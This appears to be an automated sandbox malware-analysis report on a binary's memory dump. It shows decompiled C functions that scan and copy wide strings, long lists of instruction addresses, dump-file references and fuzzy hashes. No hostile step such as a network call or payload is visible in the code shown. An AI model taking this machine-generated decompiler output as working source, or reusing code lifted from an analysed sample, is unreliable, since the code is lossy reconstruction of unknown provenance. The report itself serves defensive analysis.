									if(_t272 == 0) {
										L63:
										_push(2);
										_push(_t418);
										_v64 = _t272;
										E6ED410B0();
										_t272 = _v64;
										_t473 = _t473 + 8;
										L65:
										_t418 = _t272;
										goto L66;
									}
									_t409 =  *_t418 & 0x0000ffff;
									 *_t272 = _t409;
									__eflags = _t409;
									if(_t409 == 0) {
										goto L63;
									}
									_t410 = 0;
									__eflags = 0;
									while(1) {
										_t410 = _t410 + 1;
										_t354 =  *(_t418 + _t410 * 4 - 2) & 0x0000ffff;
										 *(_t272 + _t410 * 4 - 2) = _t354;
										__eflags = _t354;
										if(_t354 == 0) {
											goto L63;
										}
										_t355 =  *(_t418 + _t410 * 4) & 0x0000ffff;
										 *(_t272 + _t410 * 4) = _t355;
										__eflags = _t355;
										if(_t355 != 0) {
											continue;
										}
										goto L63;
									}
									goto L63;
								}
							}
							_v32 = _t241;
							goto L42;
							L68:
							_t241 = _t452;
							_t306 = _t306 + 1;
							__eflags = _t306 -  *_t241;
						} while (_t306 <  *_t241);
						_t445 = _a4;
						goto L70;
					}
					__eflags =  *_t364 & 0x0000ffff;
					if(( *_t364 & 0x0000ffff) == 0) {
						goto L37;
					}
					_t277 = _t364 & 0x0000000f;
					__eflags = _t277;
					if(_t277 == 0) {
						L18:
						asm("pxor xmm0, xmm0");
						_t429 =  ~( ~_t277 + 0x00000007 & 0x00000007) + 0x7fffffff;
						__eflags = _t429;
						_v64 = _t429;
						_t467 = _t429;
						while(1) {
							asm("movdqu xmm1, [edx+eax*2]");
							asm("pcmpeqw xmm1, xmm0");
							asm("pmovmskb edi, xmm1");
							__eflags = _t429;
							if(_t429 != 0) {
								break;
							}
							_t277 = _t277 + 8;
							__eflags = _t277 - _t467;
							if(_t277 < _t467) {
								continue;
							}
							_v64 = _t467;
							_t445 = _a4;
							__eflags = _v64 - 0x7fffffff;
							if(_v64 >= 0x7fffffff) {
								L25:
								_v64 = 0x7fffffff;
								L26:
								_t433 = _v64 + 1;
								__eflags = _t433 - 0x40;
								_t434 =  <=  ? 0x40 : _t433;
								__eflags = _t434;
								if(_t434 > 0) {
									_t283 = (_t434 >> 5 >> 0x1a) + _t434 >> 6;
									_t435 = _t434 & 0x8000003f;
									__eflags = _t435;
									if(_t435 < 0) {
										_t435 = (_t435 - 0x00000001 | 0xffffffc0) + 1;
										__eflags = _t435;
									}
									__eflags = _t435;
									_t284 = _t283 + (0 | _t435 > 0x00000000);
									_v40 = _t284 << 6;
									_push(_t284 << 7);
									_v68 = _t364;
									_t286 = E6ED41030();
									_t411 = _v68;
									_t473 = _t473 + 4;
									_t418 = _t286;
									 *_t286 = 0;
									_v32 = _t294;
									_t468 = _v64;
									while(1) {
										_t312 =  *_t411 & 0x0000ffff;
										_t316 = 1;
										 *_t286 = _t312;
										__eflags = _t468;
										if(_t468 == 0) {
											goto L35;
										}
										__eflags = 1 - _t468;
										if(1 == _t468) {
											__eflags = 0;
											_t445 = _a4;
											_t294 = _v32;
											_t286[0] = 0;
											L191:
											__eflags =  *_t294 - 1;
											if( *_t294 > 1) {
												goto L39;
											}
											goto L192;
										}
										L35:
										__eflags = _t312;
										if(_t312 == 0) {
											_t445 = _a4;
											_t294 = _v32;
											goto L191;
										}
										_t286 =  &(_t286[0]);
										_t411 = _t411 + 2;
										__eflags = _t411;
									}
								}
								_t418 = 0;
								__eflags = _t316 - 1;
								if(_t316 <= 1) {
									goto L70;
								}
								_v40 = 0;
								goto L39;
							}
							L22:
							_t287 = _v64;
							while(1) {
								__eflags =  *(_t364 + _t287 * 2) & 0x0000ffff;
								if(( *(_t364 + _t287 * 2) & 0x0000ffff) == 0) {
									break;
								}
								_t287 = _t287 + 1;
								__eflags = _t287 - 0x7fffffff;
								if(_t287 < 0x7fffffff) {
									continue;
								}
								goto L25;
							}
							_v64 = _t287;
							goto L26;
						}
						asm("bsf edi, edi");
						_t445 = _a4;
						_v64 = (_t429 >> 1) + _t277;
						goto L26;
					}
					_t441 = 0;
					_v64 = 0;
					__eflags = _t277 & 0x00000001;
					if((_t277 & 0x00000001) != 0) {
						goto L22;
					}
					_t277 =  ~_t277 + 0x10 >> 1;
					__eflags = _t277;
					while(1) {
						__eflags =  *(_t364 + _t441 * 2) & 0x0000ffff;
						if(( *(_t364 + _t441 * 2) & 0x0000ffff) == 0) {
							break;
						}
						_t441 = _t441 + 1;
						__eflags = _t441 - _t277;
						if(_t441 < _t277) {
							continue;
						}
						goto L18;
					}
					_v64 = _t441;
					_t445 = _a4;
					goto L26;
				}
				_push(0x80);
				 *_t445 = 0;
				_t445[1] = 0;
				_t313 = E6ED41030();
				_t474 = _t473 + 4;
				_t414 =  *_t445;
				if(_t414 == 0) {
					__eflags = 0;
					 *_t313 = 0;
					L9:
					 *_t445 = _t313;
					_t445[1] = 0x40;
					goto L115;
				}
				if(_t313 == 0) {
					L7:
					_push(2);
					_push(_t414);
					E6ED410B0();
					_t474 = _t474 + 8;
					goto L9;
				}
				_t361 =  *_t414 & 0x0000ffff;
				 *_t313 = _t361;
				if(_t361 == 0) {
					goto L7;
				}
				_t362 = 0;
				while(1) {
					_t362 = _t362 + 1;
					_t442 =  *(_t414 + _t362 * 4 - 2) & 0x0000ffff;
					 *(_t313 + _t362 * 4 - 2) = _t442;
					if(_t442 == 0) {
						goto L7;
					}
					_t443 =  *(_t414 + _t362 * 4) & 0x0000ffff;
					 *(_t313 + _t362 * 4) = _t443;
					if(_t443 != 0) {
						continue;
					}
					goto L7;
				}
				goto L7;
			}

0x6ed4d039
0x6ed4d043
0x6ed4d04f
0x6ed4d051
0x6ed4d054
0x6ed4d058
0x6ed4d0c6
0x6ed4d0c8
0x6ed4d0ca
0x6ed4d214
0x6ed4d214
0x6ed4d21e
0x6ed4d220
0x6ed4d225
0x6ed4d228
0x6ed4d22b
0x6ed4d3a1
0x6ed4d3a3
0x6ed4d3a5
0x6ed4d3a8
0x6ed4d3aa
0x6ed4d507
0x6ed4d507
0x6ed4d511
0x6ed4d513
0x6ed4d516
0x6ed4d518
0x6ed4d51a
0x6ed4d554
0x6ed4d556
0x6ed4d559
0x6ed4d559
0x6ed4d55b
0x6ed4d562
0x6ed4d562
0x6ed4d564
0x6ed4d565
0x6ed4d56a
0x6ed4d56d
0x6ed4d56d
0x6ed4d573
0x6ed4d577
0x6ed4d57b
0x6ed4d581
0x6ed4d5dc
0x6ed4d5dc
0x6ed4d5de
0x6ed4d5df
0x6ed4d5e7
0x6ed4d5fa
0x6ed4d5fa
0x6ed4d585
0x6ed4d587
0x6ed4d8fb
0x6ed4d5c2
0x6ed4d5c7
0x6ed4d5c9
0x6ed4d5cf
0x6ed4d5d1
0x6ed4d5d3
0x6ed4d5d8
0x6ed4d5d8
0x6ed4d5cf
0x00000000
0x6ed4d5c7
0x6ed4d58d
0x6ed4d58f
0x6ed4d591
0x6ed4d591
0x6ed4d596
0x6ed4d598
0x6ed4d59a
0x6ed4d59f
0x6ed4d59f
0x6ed4d5a3
0x6ed4d5a9
0x6ed4d5ab
0x6ed4d5ad
0x6ed4d5b2
0x6ed4d5b2
0x6ed4d5b6
0x6ed4d5b7
0x6ed4d5bb
0x6ed4d5be
0x00000000
0x6ed4d5be
0x6ed4d51c
0x6ed4d51e
0x6ed4d547
0x6ed4d547
0x6ed4d549
0x6ed4d54a
0x6ed4d54f
0x00000000
0x6ed4d54f
0x6ed4d520
0x6ed4d523
0x6ed4d526
0x6ed4d528
0x00000000
0x00000000
0x6ed4d52a
0x6ed4d52a
0x6ed4d52c
0x6ed4d52c
0x6ed4d52d
0x6ed4d532
0x6ed4d537
0x6ed4d539
0x00000000
0x00000000
0x6ed4d53b
0x6ed4d53f
0x6ed4d543
0x6ed4d545
0x00000000
0x00000000
0x00000000
0x6ed4d545
0x00000000
0x6ed4d52c
0x6ed4d3b0
0x6ed4d3b3
0x6ed4d3b5
0x00000000
0x00000000
0x6ed4d3bd
0x6ed4d3bd
0x6ed4d3c0
0x6ed4d3dd
0x6ed4d3e1
0x6ed4d3ed
0x6ed4d3ed
0x6ed4d3f3
0x6ed4d3f3
0x6ed4d3f8
0x6ed4d3fc
0x6ed4d400
0x6ed4d402
0x00000000
0x00000000
0x6ed4d408
0x6ed4d40b
0x6ed4d40d
0x00000000
0x00000000
0x6ed4d40f
0x6ed4d415
0x6ed4d428
0x6ed4d428
0x6ed4d42d
0x6ed4d432
0x6ed4d432
0x6ed4d435
0x6ed4d438
0x6ed4d43b
0x6ed4d43d
0x6ed4d450
0x6ed4d453
0x6ed4d453
0x6ed4d458
0x6ed4d460
0x6ed4d460
0x6ed4d460
0x6ed4d463
0x6ed4d468
0x6ed4d472
0x6ed4d476
0x6ed4d477
0x6ed4d47c
0x6ed4d47f
0x6ed4d481
0x6ed4d483
0x6ed4d4c8
0x6ed4d4ca
0x00000000
0x6ed4d485
0x6ed4d485
0x6ed4d487
0x6ed4d4b3
0x6ed4d4b3
0x6ed4d4b5
0x6ed4d4b6
0x6ed4d4ba
0x6ed4d4bf
0x6ed4d4c3
0x6ed4d4cd
0x6ed4d4d1
0x6ed4d4d4
0x6ed4d4d6
0x6ed4d4d6
0x6ed4d4d8
0x6ed4d4da
0x00000000
0x00000000
0x6ed4d4e0
0x6ed4d4ea
0x6ed4d4ea
0x6ed4d4ed
0x6ed4d4ee
0x6ed4d4f1
0x6ed4d4f3
0x00000000
0x00000000
0x6ed4d4f5
0x6ed4d4f7
0x6ed4d8db
0x6ed4d8de
0x00000000
0x6ed4d8de
0x6ed4d4fd
0x6ed4d4fd
0x6ed4d4ff
0x6ed4d8e7
0x00000000
0x6ed4d8e7
0x6ed4d4e4
0x6ed4d4e7
0x6ed4d4e7
0x6ed4d4e7
0x6ed4d4ea
0x6ed4d489
0x6ed4d48c
0x6ed4d48f
0x6ed4d491
0x00000000
0x00000000
0x6ed4d493
0x6ed4d493
0x6ed4d495
0x6ed4d495
0x6ed4d496
0x6ed4d49b
0x6ed4d4a0
0x6ed4d4a2
0x00000000
0x00000000
0x6ed4d4a4
0x6ed4d4a8
0x6ed4d4ac
0x6ed4d4ae
0x00000000
0x00000000
0x00000000
0x6ed4d4ae
0x6ed4d4b0
0x00000000
0x6ed4d4b0
0x6ed4d483
0x6ed4d43f
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4d417
0x6ed4d417
0x6ed4d41b
0x6ed4d41d
0x00000000
0x00000000
0x6ed4d41f
0x6ed4d420
0x6ed4d426
0x00000000
0x00000000
0x00000000
0x6ed4d426
0x00000000
0x6ed4d417
0x6ed4d8ef
0x6ed4d8f4
0x00000000
0x6ed4d8f4
0x6ed4d3c2
0x6ed4d3c4
0x6ed4d3c7
0x00000000
0x00000000
0x6ed4d3ce
0x6ed4d3ce
0x6ed4d3d0
0x6ed4d3d0
0x6ed4d3d4
0x6ed4d3d6
0x00000000
0x00000000
0x6ed4d3d8
0x6ed4d3d9
0x6ed4d3db
0x00000000
0x00000000
0x00000000
0x6ed4d3db
0x00000000
0x6ed4d3d0
0x6ed4d231
0x6ed4d239
0x6ed4d23b
0x6ed4d23c
0x6ed4d23e
0x6ed4d240
0x6ed4d244
0x6ed4d246
0x6ed4d246
0x6ed4d248
0x6ed4d977
0x6ed4d924
0x6ed4d924
0x6ed4d928
0x6ed4d2cb
0x6ed4d2d0
0x6ed4d2d0
0x6ed4d2d3
0x6ed4d2d6
0x6ed4d2d9
0x6ed4d2dd
0x6ed4d368
0x6ed4d36d
0x6ed4d36f
0x6ed4d373
0x6ed4d378
0x6ed4d382
0x6ed4d384
0x6ed4d386
0x00000000
0x00000000
0x6ed4d388
0x6ed4d38b
0x6ed4d38d
0x6ed4d5fd
0x6ed4d5ff
0x00000000
0x00000000
0x6ed4d607
0x6ed4d607
0x6ed4d60a
0x6ed4d626
0x6ed4d62a
0x6ed4d636
0x6ed4d636
0x6ed4d63c
0x6ed4d63c
0x6ed4d641
0x6ed4d645
0x6ed4d649
0x6ed4d64b
0x00000000
0x00000000
0x6ed4d651
0x6ed4d654
0x6ed4d656
0x00000000
0x00000000
0x6ed4d658
0x6ed4d65e
0x6ed4d671
0x6ed4d671
0x6ed4d676
0x6ed4d676
0x6ed4d678
0x6ed4d958
0x6ed4d701
0x6ed4d701
0x6ed4d701
0x6ed4d705
0x6ed4d707
0x6ed4d730
0x6ed4d733
0x6ed4d736
0x6ed4d73a
0x6ed4d7e1
0x6ed4d7e1
0x6ed4d7e3
0x6ed4d7e5
0x6ed4d919
0x6ed4d919
0x6ed4d91d
0x6ed4d91f
0x6ed4d920
0x6ed4d922
0x6ed4d92f
0x6ed4d934
0x6ed4d936
0x00000000
0x6ed4d936
0x00000000
0x6ed4d922
0x6ed4d7eb
0x6ed4d7ee
0x6ed4d7ee
0x6ed4d7f0
0x6ed4d81c
0x6ed4d81c
0x6ed4d81e
0x6ed4d820
0x6ed4d829
0x6ed4d85c
0x6ed4d85c
0x6ed4d860
0x6ed4d862
0x6ed4d865
0x6ed4d866
0x6ed4d868
0x6ed4d252
0x6ed4d254
0x6ed4d254
0x6ed4d257
0x6ed4d277
0x6ed4d27b
0x6ed4d287
0x6ed4d287
0x6ed4d28d
0x6ed4d28d
0x6ed4d292
0x6ed4d296
0x6ed4d29a
0x6ed4d29c
0x00000000
0x00000000
0x6ed4d2a2
0x6ed4d2a5
0x6ed4d2a7
0x00000000
0x00000000
0x6ed4d2a9
0x6ed4d2af
0x6ed4d2c6
0x6ed4d2c6
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4d2b1
0x6ed4d2b1
0x6ed4d2b5
0x6ed4d2b7
0x00000000
0x00000000
0x6ed4d2bd
0x6ed4d2be
0x6ed4d2c4
0x00000000
0x00000000
0x00000000
0x6ed4d2c4
0x6ed4d8c6
0x6ed4d8c6
0x6ed4d8c9
0x6ed4d8d1
0x6ed4d8d1
0x00000000
0x6ed4d8c9
0x6ed4d96b
0x6ed4d970
0x00000000
0x6ed4d970
0x6ed4d259
0x6ed4d25b
0x6ed4d25d
0x00000000
0x00000000
0x6ed4d264
0x6ed4d264
0x6ed4d266
0x6ed4d266
0x6ed4d26a
0x6ed4d26c
0x00000000
0x00000000
0x6ed4d272
0x6ed4d273
0x6ed4d275
0x00000000
0x00000000
0x00000000
0x6ed4d275
0x00000000
0x6ed4d266
0x6ed4d93e
0x6ed4d895
0x6ed4d897
0x6ed4d899
0x00000000
0x6ed4d899
0x6ed4d82b
0x6ed4d82b
0x6ed4d833
0x6ed4d837
0x6ed4d83b
0x6ed4d83f
0x6ed4d83f
0x6ed4d843
0x6ed4d847
0x6ed4d849
0x00000000
0x00000000
0x6ed4d84b
0x6ed4d84b
0x6ed4d84f
0x6ed4d850
0x6ed4d852
0x00000000
0x00000000
0x00000000
0x6ed4d852
0x6ed4d854
0x6ed4d858
0x00000000
0x6ed4d858
0x6ed4d822
0x00000000
0x6ed4d822
0x6ed4d7f2
0x6ed4d7f6
0x6ed4d7f6
0x6ed4d7f8
0x6ed4d7fc
0x6ed4d7fc
0x6ed4d7fd
0x6ed4d804
0x6ed4d807
0x6ed4d809
0x00000000
0x00000000
0x6ed4d80e
0x6ed4d810
0x6ed4d812
0x00000000
0x00000000
0x00000000
0x6ed4d812
0x6ed4d814
0x6ed4d818
0x00000000
0x6ed4d818
0x6ed4d740
0x6ed4d74a
0x6ed4d74d
0x6ed4d74d
0x6ed4d752
0x6ed4d75a
0x6ed4d75a
0x6ed4d75a
0x6ed4d75b
0x6ed4d765
0x6ed4d76f
0x6ed4d773
0x6ed4d774
0x6ed4d778
0x6ed4d77d
0x6ed4d781
0x6ed4d783
0x6ed4d786
0x6ed4d788
0x6ed4d7da
0x6ed4d7dc
0x00000000
0x6ed4d78a
0x6ed4d78a
0x6ed4d78c
0x6ed4d7bd
0x6ed4d7bd
0x6ed4d7bf
0x6ed4d7c0
0x6ed4d7c4
0x6ed4d7c8
0x6ed4d7cd
0x6ed4d7d1
0x6ed4d7d5
0x6ed4d7df
0x6ed4d7df
0x00000000
0x6ed4d7df
0x6ed4d78e
0x6ed4d791
0x6ed4d794
0x6ed4d796
0x00000000
0x00000000
0x6ed4d798
0x6ed4d79c
0x6ed4d79c
0x6ed4d79e
0x6ed4d79e
0x6ed4d79f
0x6ed4d7a4
0x6ed4d7a9
0x6ed4d7ab
0x00000000
0x00000000
0x6ed4d7ad
0x6ed4d7b1
0x6ed4d7b5
0x6ed4d7b7
0x00000000
0x00000000
0x00000000
0x6ed4d7b7
0x6ed4d7b9
0x00000000
0x6ed4d7b9
0x6ed4d788
0x6ed4d709
0x6ed4d70b
0x6ed4d90e
0x6ed4d913
0x6ed4d724
0x6ed4d724
0x00000000
0x6ed4d724
0x00000000
0x6ed4d913
0x6ed4d711
0x6ed4d713
0x6ed4d716
0x6ed4d71b
0x00000000
0x00000000
0x6ed4d71d
0x00000000
0x6ed4d71d
0x6ed4d680
0x6ed4d680
0x6ed4d683
0x6ed4d6ac
0x6ed4d6b0
0x6ed4d6bc
0x6ed4d6c0
0x6ed4d6c0
0x6ed4d6c5
0x6ed4d6c5
0x6ed4d6ca
0x6ed4d6ce
0x6ed4d6d2
0x6ed4d6d4
0x00000000
0x00000000
0x6ed4d6da
0x6ed4d6dd
0x6ed4d6df
0x00000000
0x00000000
0x6ed4d6e1
0x6ed4d6e5
0x6ed4d6ea
0x6ed4d6fc
0x6ed4d6fc
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4d6ec
0x6ed4d6ec
0x6ed4d6f0
0x6ed4d6f2
0x00000000
0x00000000
0x6ed4d6f4
0x6ed4d6f5
0x6ed4d6fa
0x00000000
0x00000000
0x00000000
0x6ed4d6fa
0x00000000
0x6ed4d6ec
0x6ed4d948
0x6ed4d94b
0x6ed4d94d
0x6ed4d951
0x00000000
0x6ed4d951
0x6ed4d685
0x6ed4d687
0x6ed4d68a
0x00000000
0x00000000
0x6ed4d691
0x6ed4d691
0x6ed4d693
0x6ed4d697
0x6ed4d69b
0x6ed4d69d
0x00000000
0x00000000
0x6ed4d6a3
0x6ed4d6a4
0x6ed4d6a6
0x00000000
0x00000000
0x6ed4d6a8
0x00000000
0x6ed4d6a8
0x6ed4d905
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4d660
0x6ed4d660
0x6ed4d664
0x6ed4d666
0x00000000
0x00000000
0x6ed4d668
0x6ed4d669
0x6ed4d66f
0x00000000
0x00000000
0x00000000
0x6ed4d66f
0x00000000
0x6ed4d660
0x6ed4d95f
0x6ed4d964
0x00000000
0x6ed4d964
0x6ed4d60c
0x6ed4d60e
0x6ed4d610
0x00000000
0x00000000
0x6ed4d617
0x6ed4d617
0x6ed4d619
0x6ed4d619
0x6ed4d61d
0x6ed4d61f
0x00000000
0x00000000
0x6ed4d621
0x6ed4d622
0x6ed4d624
0x00000000
0x00000000
0x00000000
0x6ed4d624
0x00000000
0x6ed4d619
0x00000000
0x6ed4d38d
0x6ed4d2ed
0x6ed4d2f0
0x6ed4d2f0
0x6ed4d2f6
0x6ed4d2fe
0x6ed4d2fe
0x6ed4d2fe
0x6ed4d301
0x6ed4d306
0x6ed4d310
0x6ed4d314
0x6ed4d315
0x6ed4d31a
0x6ed4d31d
0x6ed4d31f
0x6ed4d361
0x6ed4d363
0x00000000
0x6ed4d321
0x6ed4d321
0x6ed4d323
0x6ed4d34c
0x6ed4d34c
0x6ed4d34e
0x6ed4d34f
0x6ed4d353
0x6ed4d358
0x6ed4d35c
0x6ed4d366
0x6ed4d366
0x00000000
0x6ed4d366
0x6ed4d325
0x6ed4d328
0x6ed4d32b
0x6ed4d32d
0x00000000
0x00000000
0x6ed4d32f
0x6ed4d32f
0x6ed4d331
0x6ed4d331
0x6ed4d332
0x6ed4d337
0x6ed4d33c
0x6ed4d33e
0x00000000
0x00000000
0x6ed4d340
0x6ed4d344
0x6ed4d348
0x6ed4d34a
0x00000000
0x00000000
0x00000000
0x6ed4d34a
0x00000000
0x6ed4d331
0x6ed4d31f
0x6ed4d24e
0x00000000
0x6ed4d393
0x6ed4d393
0x6ed4d395
0x6ed4d396
0x6ed4d396
0x6ed4d39e
0x00000000
0x6ed4d39e
0x6ed4d0d3
0x6ed4d0d5
0x00000000
0x00000000
0x6ed4d0dd
0x6ed4d0dd
0x6ed4d0e0
0x6ed4d107
0x6ed4d10b
0x6ed4d117
0x6ed4d117
0x6ed4d11d
0x6ed4d121
0x6ed4d123
0x6ed4d123
0x6ed4d128
0x6ed4d12c
0x6ed4d130
0x6ed4d132
0x00000000
0x00000000
0x6ed4d138
0x6ed4d13b
0x6ed4d13d
0x00000000
0x00000000
0x6ed4d13f
0x6ed4d143
0x6ed4d146
0x6ed4d14e
0x6ed4d168
0x6ed4d168
0x6ed4d170
0x6ed4d179
0x6ed4d17c
0x6ed4d17f
0x6ed4d182
0x6ed4d184
0x6ed4d1a8
0x6ed4d1ab
0x6ed4d1ab
0x6ed4d1b1
0x6ed4d1b9
0x6ed4d1b9
0x6ed4d1b9
0x6ed4d1bc
0x6ed4d1c1
0x6ed4d1cb
0x6ed4d1cf
0x6ed4d1d0
0x6ed4d1d4
0x6ed4d1d9
0x6ed4d1dd
0x6ed4d1e2
0x6ed4d1e4
0x6ed4d1e7
0x6ed4d1eb
0x6ed4d1f7
0x6ed4d1f7
0x6ed4d1fa
0x6ed4d1fb
0x6ed4d1fe
0x6ed4d200
0x00000000
0x00000000
0x6ed4d202
0x6ed4d204
0x6ed4d87f
0x6ed4d881
0x6ed4d884
0x6ed4d888
0x6ed4d88c
0x6ed4d88c
0x6ed4d88f
0x00000000
0x00000000
0x00000000
0x6ed4d88f
0x6ed4d20a
0x6ed4d20a
0x6ed4d20c
0x6ed4d8a1
0x6ed4d8a4
0x00000000
0x6ed4d8a4
0x6ed4d1f1
0x6ed4d1f4
0x6ed4d1f4
0x6ed4d1f4
0x6ed4d1f7
0x6ed4d186
0x6ed4d188
0x6ed4d18b
0x00000000
0x00000000
0x6ed4d191
0x00000000
0x6ed4d191
0x6ed4d150
0x6ed4d150
0x6ed4d154
0x6ed4d158
0x6ed4d15a
0x00000000
0x00000000
0x6ed4d160
0x6ed4d161
0x6ed4d166
0x00000000
0x00000000
0x00000000
0x6ed4d166
0x6ed4d8aa
0x00000000
0x6ed4d8aa
0x6ed4d8b3
0x6ed4d8ba
0x6ed4d8bd
0x00000000
0x6ed4d8bd
0x6ed4d0e2
0x6ed4d0e4
0x6ed4d0e8
0x6ed4d0ea
0x00000000
0x00000000
0x6ed4d0f1
0x6ed4d0f1
0x6ed4d0f3
0x6ed4d0f7
0x6ed4d0f9
0x00000000
0x00000000
0x6ed4d0ff
0x6ed4d100
0x6ed4d102
0x00000000
0x00000000
0x00000000
0x6ed4d104
0x6ed4d873
0x6ed4d877
0x00000000
0x6ed4d877
0x6ed4d05a
0x6ed4d061
0x6ed4d063
0x6ed4d06b
0x6ed4d06d
0x6ed4d070
0x6ed4d074
0x6ed4d0ae
0x6ed4d0b0
0x6ed4d0b3
0x6ed4d0b3
0x6ed4d0b5
0x00000000
0x6ed4d0b5
0x6ed4d078
0x6ed4d0a1
0x6ed4d0a1
0x6ed4d0a3
0x6ed4d0a4
0x6ed4d0a9
0x00000000
0x6ed4d0a9
0x6ed4d07a
0x6ed4d07d
0x6ed4d082
0x00000000
0x00000000
0x6ed4d084
0x6ed4d086
0x6ed4d086
0x6ed4d087
0x6ed4d08c
0x6ed4d093
0x00000000
0x00000000
0x6ed4d095
0x6ed4d099
0x6ed4d09f
0x00000000
0x00000000
0x00000000
0x6ed4d09f
0x00000000

Strings

@, xrefs: 6ED4D90E

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 752c5ff02bc24ceb70419a329ead1c3dab5549dfac1f6eefbc4f612475c4781f
Instruction ID: 52274223d89df8cfee294af245845804be3fc732d91cc974897d342351e0353c
Opcode Fuzzy Hash: 752c5ff02bc24ceb70419a329ead1c3dab5549dfac1f6eefbc4f612475c4781f
Instruction Fuzzy Hash: 03421671A04712CBD7548FA9C49022A73E2BFF5754F15872DE8AA9B394EB30D841CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6ED589F0, Relevance: 2.0, Strings: 1, Instructions: 748
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6ED589F0(intOrPtr* __ecx, signed int* _a4, signed int _a8) {
				unsigned int _v24;
				intOrPtr* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _t205;
				signed int* _t207;
				signed int _t211;
				unsigned int _t217;
				signed int _t218;
				signed int _t220;
				signed int _t223;
				intOrPtr* _t224;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int _t242;
				signed int _t243;
				signed int _t248;
				signed int _t253;
				signed int _t258;
				signed int _t261;
				signed int _t262;
				unsigned int _t271;
				signed int _t277;
				void* _t278;
				signed int _t279;
				signed int _t280;
				short* _t283;
				signed int _t285;
				signed int _t286;
				intOrPtr* _t292;
				signed short* _t295;
				signed int* _t296;
				signed int _t298;
				signed int _t299;
				signed int _t301;
				signed int _t302;
				signed int _t303;
				unsigned int _t309;
				signed int _t310;
				signed int _t313;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t321;
				void* _t322;
				signed int _t323;
				void* _t324;
				signed int _t325;
				signed int _t326;
				signed int _t329;
				signed int _t330;
				signed int _t334;
				signed int _t335;
				signed int _t336;
				unsigned int _t341;
				signed int _t342;
				signed int _t344;
				signed int _t346;
				signed int _t350;
				intOrPtr _t352;
				intOrPtr* _t353;
				signed int _t354;
				signed int _t355;
				signed int _t357;
				void* _t358;
				signed int _t359;
				signed int _t360;
				signed int* _t365;
				signed int _t366;
				signed int _t368;
				signed int _t369;
				signed int _t374;
				unsigned int _t381;
				signed int _t382;
				signed int _t384;
				intOrPtr* _t385;
				intOrPtr* _t386;
				signed int _t391;
				signed int _t392;
				signed int _t393;
				signed int _t401;
				unsigned int _t403;
				signed int _t404;
				signed short* _t405;
				signed int _t406;
				signed int _t407;
				signed int _t414;
				intOrPtr* _t419;
				signed int _t420;
				signed int _t423;
				signed int _t424;
				signed int _t425;
				unsigned int _t431;
				signed int _t433;
				signed int _t439;
				signed int* _t441;
				signed int* _t442;
				signed int _t444;
				void* _t446;
				void* _t448;

				_push(_t298);
				_t446 = (_t444 & 0xfffffff0) - 0x24;
				_t419 = __ecx;
				_t352 =  *__ecx;
				if(_t352 != 0) {
					_t318 =  *( *( *(__ecx + 4)));
					__eflags = _t318;
					if(_t318 == 0) {
						L34:
						_push(0x80);
						_t299 = E6ED41030();
						_t446 = _t446 + 4;
						__eflags =  *_t419 - 1;
						 *_t299 = 0;
						if( *_t419 <= 1) {
							goto L45;
						} else {
							_t374 = 0x40;
							goto L36;
						}
					} else {
						__eflags =  *_t318 & 0x0000ffff;
						if(( *_t318 & 0x0000ffff) == 0) {
							goto L34;
						} else {
							_t277 = _t318 & 0x0000000f;
							__eflags = _t277;
							if(_t277 == 0) {
								L16:
								asm("pxor xmm0, xmm0");
								_t414 =  ~( ~_t277 + 0x00000007 & 0x00000007) + 0x7fffffff;
								__eflags = _t414;
								while(1) {
									asm("movdqu xmm1, [ecx+eax*2]");
									asm("pcmpeqw xmm1, xmm0");
									asm("pmovmskb ebx, xmm1");
									__eflags = _t298;
									if(_t298 != 0) {
										break;
									}
									_t277 = _t277 + 8;
									__eflags = _t277 - _t414;
									if(_t277 < _t414) {
										continue;
									} else {
										__eflags = _t414 - 0x7fffffff;
										if(_t414 >= 0x7fffffff) {
											goto L22;
										} else {
											goto L20;
										}
									}
									goto L23;
								}
								asm("bsf edi, ebx");
								_t414 = (_t414 >> 1) + _t277;
							} else {
								_t414 = 0;
								__eflags = _t277 & 0x00000001;
								if((_t277 & 0x00000001) != 0) {
									while(1) {
										L20:
										__eflags =  *(_t318 + _t414 * 2) & 0x0000ffff;
										if(( *(_t318 + _t414 * 2) & 0x0000ffff) == 0) {
											goto L23;
										}
										_t414 = _t414 + 1;
										__eflags = _t414 - 0x7fffffff;
										if(_t414 < 0x7fffffff) {
											continue;
										} else {
											L22:
											_t414 = 0x7fffffff;
										}
										goto L23;
									}
								} else {
									_t277 =  ~_t277 + 0x10 >> 1;
									__eflags = _t277;
									while(1) {
										_t298 =  *(_t318 + _t414 * 2) & 0x0000ffff;
										__eflags = _t298;
										if(_t298 == 0) {
											goto L23;
										}
										_t414 = _t414 + 1;
										__eflags = _t414 - _t277;
										if(_t414 < _t277) {
											continue;
										} else {
											goto L16;
										}
										goto L23;
									}
								}
							}
							L23:
							_t23 = _t414 + 1; // 0x80000000
							_t278 = _t23;
							__eflags = _t278 - 0x40;
							_t279 =  <=  ? 0x40 : _t278;
							__eflags = _t279;
							if(_t279 > 0) {
								_t309 = (_t279 >> 5 >> 0x1a) + _t279 >> 6;
								_t280 = _t279 & 0x8000003f;
								__eflags = _t280;
								if(_t280 < 0) {
									_t280 = (_t280 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t280;
								}
								__eflags = _t280;
								_t310 = _t309 + (0 | _t280 > 0x00000000);
								_push(_t310 << 7);
								_v36 = _t310 << 6;
								_v52 = _t318;
								_t283 = E6ED41030();
								_t350 = _v52;
								_t374 = _v36;
								_v48 = _t283;
								_t446 = _t446 + 4;
